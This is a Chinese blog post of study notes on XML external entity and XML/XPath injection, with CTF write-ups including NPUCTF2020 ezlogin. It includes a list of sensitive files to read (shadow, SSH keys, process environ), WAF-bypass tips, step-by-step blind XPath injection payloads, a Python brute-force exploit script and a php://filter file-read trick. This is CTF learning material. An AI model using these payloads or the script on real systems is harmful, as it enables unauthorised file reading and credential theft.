XXE

XXE

XXE

全称为XML Enternal Entity Injection,中文名称:XML外部实体注入

XXE漏洞

DTD引用外部实体时导致的漏洞

解析时未对XML外部实体加以限制,攻击者可以将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等

特征:在HTTP的Request报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞

Content-type:text/xml application/xml

XML

什么是xml

xml(可扩展标记语言 ):用于储存,传输和重建任意数据的标记语言和文件格式

XML 是一种提供规则来定义任何数据的标记语言

表述文档信息

<?xml version="1.0" encoding="UTF-8"?>

每个XML文件都必须有一个根元素

XML注入

  • 当系统对用户输入"<",">"没有做转义的处理,可以修改XML的数据格式,或者添加新的XML节点,形成攻击

注入攻击

当注册访问用户时(用户自己输入用户名)

image-20240711171019807

所以攻击注入时 可构造 user1</user><user role="admin">user2,用来拼接XML

image-20240711171030679

防护

白名单:用正则 对用户的输入做严格的校验

实体引用

实体就好比变量,必须在DTD中定义申明,

image-20240711165302144

DTD文档类型定义

XXE存在的地方,合法的XML文档构建模块,可以被声明在XML文档中,也可以作为一个外部的引用

1.内部DTD文档
<!DOCTYPE 根元素[定义内容]>
 
2.外部DTD文档
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
 
3.内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

外部实体

外部实体比内部实体多一个system

image-20240711220142657

%xxe执行后会加载外部实体 evil.dtd 并执行,得到的结果会放在

DTD内部引用实体值(参数),格式:%参数

实例

image-20240711202547991

image-20240711202709284

XXE漏洞利用

参考链接

XXE同SQ类似 分有回显和无回显

有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为 blind xxe(类似于布尔盲注、时间盲注)

文件读取

有回显

测试源码

image-20240712144804228

payload

image-20240712144845177

无回显

两种参考模板

image-20240712145817355

image-20240712145825129

利用协议 php://filter 来获取文件的内容(无法直接查看文件内容)

命令执行

php环境下安装expect扩展

image-20240712150026355

payload

image-20240712150102055

SSRF

SSRF的触发点通常是在ENTITY实体中

paylaod

image-20240712150144518

绕过

  • ENTITY、SYSTEM、file等关键词被过滤,可以采用编码的方式进行绕过,16进制等等
  • 若http被过滤,可以采用data://协议、file://协议、php://filter协议等等绕过

[NCTF2019]Fake XML cookbook

image-20240712170732789

[NCTF2019]True XML cookbook

常见的读取敏感文件

/etc/passwd
/etc/shadow
/etc/hosts
/root/.bash_history //root的bash历史记录
/root/.ssh/authorized_keys
/root/.mysql_history //mysql的bash历史记录
/root/.wget-hsts
/opt/nginx/conf/nginx.conf //nginx的配置文件
/var/www/html/index.html
/etc/my.cnf
/etc/httpd/conf/httpd.conf //httpd的配置文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
/proc/sched_debug // 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts // 挂载的文件系统列表
/proc/net/arp //arp表,可以获得内网其他机器的地址
/proc/net/route //路由表信息
/proc/net/tcp and /proc/net/udp // 活动连接的信息
/proc/net/fib_trie // 路由缓存
/proc/version // 内核版本
/proc/[PID]/cmdline // 可能包含有用的路径信息
/proc/[PID]/environ // 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd // 当前进程的工作目录
/proc/[PID]/fd/[#] // 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
ssh
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/syscomfig/network-scripts/ifcfg-eth1

试着base64编码访问/etc/passwd

image-20240712172414350

访问hosts文件

image-20240712172652422

hosts文件:将一些常用的网址域名与其对应的 IP 地址建立一个关联“ 数据库 ”

当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从hosts文件中寻找对应的 IP 地址,一旦找到,系统就会立即打开对应网页,如果没有找到,则系统会将网址提交 DNS 域名解析服务器进行 IP 地址的解析

  • 加快域名解析
  • 构建映射关系
  • 屏蔽垃圾网站

访问proc/net/fib_trie得到可疑ip

image-20240712174632164

image-20240714154944718

爆破,拿到flag

[CSAWQual 2019]Web_Unag

上传xml文件

image-20240712211755287

绕过waf绕过保护的xxe
  • 转为16进制

  • 正则

    image-20240712214559284

image-20240712214518262

image-20240712214448587

image-20240712214425570

[BSidesCF 2019]SVGMagic svg

SVG格式

参考文章SVG

SVG格式文件是可缩放矢量图形文件的缩写,标准的图形文件类型

image-20240712220359699

SVG算是个xml,内容可控

image-20240713172144963

flag以SVG图片的形式显示出来,图片大小可控,图片呈现的text文本内容位置可控

/proc/self/pwd/代表当前路径

[NPUCTF2020]ezlogin

image-20240713173802029

登录显示超时,抓包显示格式错误

image-20240713204009194

先试试万能密码

x' or 1=1 or ''='

image-20240713204819919

这里登录超时, 是因为token值在不断刷新

image-20240713204918755

构造正确时,吓死你hi非法操作,比正确时多一位就是 ‘用户名或密码错误!‘

接下来查询节点个数

'or count(/)=1 or ''='

image-20240713205436494

'or count(/)=2 or ''='

image-20240713205543001

有回显 所以为布尔盲注

查看根下有几个字节点手工注入参考文章

'or count(/*)=1 or ""='

image-20240713211152514

image-20240713211233846

根下有一个字节点

接下里猜测子节点长度,长度为4

'or string-length(name(/*[1]))=4 or ''='

image-20240713212328777

猜测子节点名称,root

'or substring(name(/*[1]),1,1)='r' or ''='
'or substring(name(/*[1]),2,1)='o' or ''='
'or substring(name(/*[1]),3,1)='o' or ''='
'or substring(name(/*[1]),4,1)='t' or ''='

image-20240713212644652

接下来猜测root的子节点数,为1

'or count(/root/*)=1 or ''='

image-20240713212922673

image-20240713212948654

猜测root的子节点名称,accounts

'or substring(name(/root/*[1]),1,1)='a' or''='
'or substring(name(/root/*[1]),2,1)='c' or''='
'or substring(name(/root/*[1]),3,1)='c' or''='
'or substring(name(/root/*[1]),4,1)='o' or''='
'or substring(name(/root/*[1]),5,1)='u' or''='
'or substring(name(/root/*[1]),6,1)='n' or''='
'or substring(name(/root/*[1]),7,1)='t' or''='
'or substring(name(/root/*[1]),8,1)='s' or''='

image-20240713213257394

接着猜测accounts的字节点数

'or count(/root/accounts/*)=1 or''='
'or count(/root/accounts/*)=2 or''='

image-20240713213708642

image-20240713213832585

accounts的子节点数为2

接着猜名称, 第一个子节点名称确为user

'or substring(name(/root/accounts/*[1]),1,1)='u' or''='
'or substring(name(/root/accounts/*[1]),2,1)='s' or''='
'or substring(name(/root/accounts/*[1]),3,1)='e' or''='
'or substring(name(/root/accounts/*[1]),4,1)='r' or''='

image-20240713214105541

猜测第二个时可以

'or substring(name(/root/accounts/*[2]),1,1)='u' or''='
...

也可以

'or count(/root/accounts/user)=2 or ''='

表示猜测accounts下两个子节点均为user

image-20240713214515785

接着是连着user表的字段id,username,password

'or substring(name(/root/accounts/user/*[1]),1)='id'  or ''='
'or count(/root/accounts/user[position()=1]/*)=3 or ''='
'or substring(name(/root/accounts/user[position()=1]/*[1]), 1)='id'  or ''='
'or substring(name(/root/accounts/user[position()=1]/*[2]), 1)='username'  or ''='
'or substring(name(/root/accounts/user[position()=1]/*[3]), 1)='password'  or ''='

接着是文本节点内容

'or substring(/root/accounts/user[2]/username/text(), 1, 1)='a'  or ''='
'or substring(/root/accounts/user[2]/username/text(), 2, 1)='d'  or ''='
'or substring(/root/accounts/user[2]/username/text(), 3, 1)='m'  or ''='
'or substring(/root/accounts/user[2]/username/text(), 4, 1)='1'  or ''='
'or substring(/root/accounts/user[2]/username/text(), 5, 1)='n'  or ''='

'or /root/accounts/user[position()=2]/username/text()='adm1n'  or ''=' 
'or /root/accounts/user[position()=1]/username/text()='guest'  or ''=' 

image-20240713215049540

有两个用户名adm1n,guest

拿到adm1n的密码

'or /root/accounts/user[position()=2]/password/text()='cf7414b5bdb2e65ee43083f4ddbc4d9f'  or ''='

md5解码为gtfly123

再附上本题exp 参考链接

import requests
import re

s = requests.session()
url ='http://47e7790f-8a53-4efa-988b-7a350ebb91d5.node3.buuoj.cn//login.php'



head ={
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')

strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
    for j in strs:

        r = s.post(url=url)
        token = find.findall(r.text)
        #猜测根节点名称
        payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        #猜测子节点名称
        payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测accounts的节点
        payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码
        payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


        print(payload_password)
        r = s.post(url=url,headers=head,data=payload_username)
        print(r.text)


        if "非法操作" in r.text:
            flag+=j
            print(flag)
            break

    if "用户名或密码错误!" in r.text:
        break

print(flag)
<root>
      <accounts>
            <user>
                  <id></id>
                  <username>gtfly123</username>
                  <password>e10adc3949ba59abbe56e057f20f883e</password>
            </user>
            <user>
                  <id></id>
                  <username>adm1n</username>
                  <password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
            </user>
      </accounts>
</root>

登录进去是一段base64

解密得到flag is in /flag

伪协议访问,绕过一下 ?file=pHp://filter/convert.BAse64-encode/resource=/flag

posted @   Yolololololo  阅读(18)  评论(0编辑  收藏  举报
(评论功能已被禁用)
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)
· AI 智能体引爆开源社区「GitHub 热点速览」
点击右上角即可分享
微信分享提示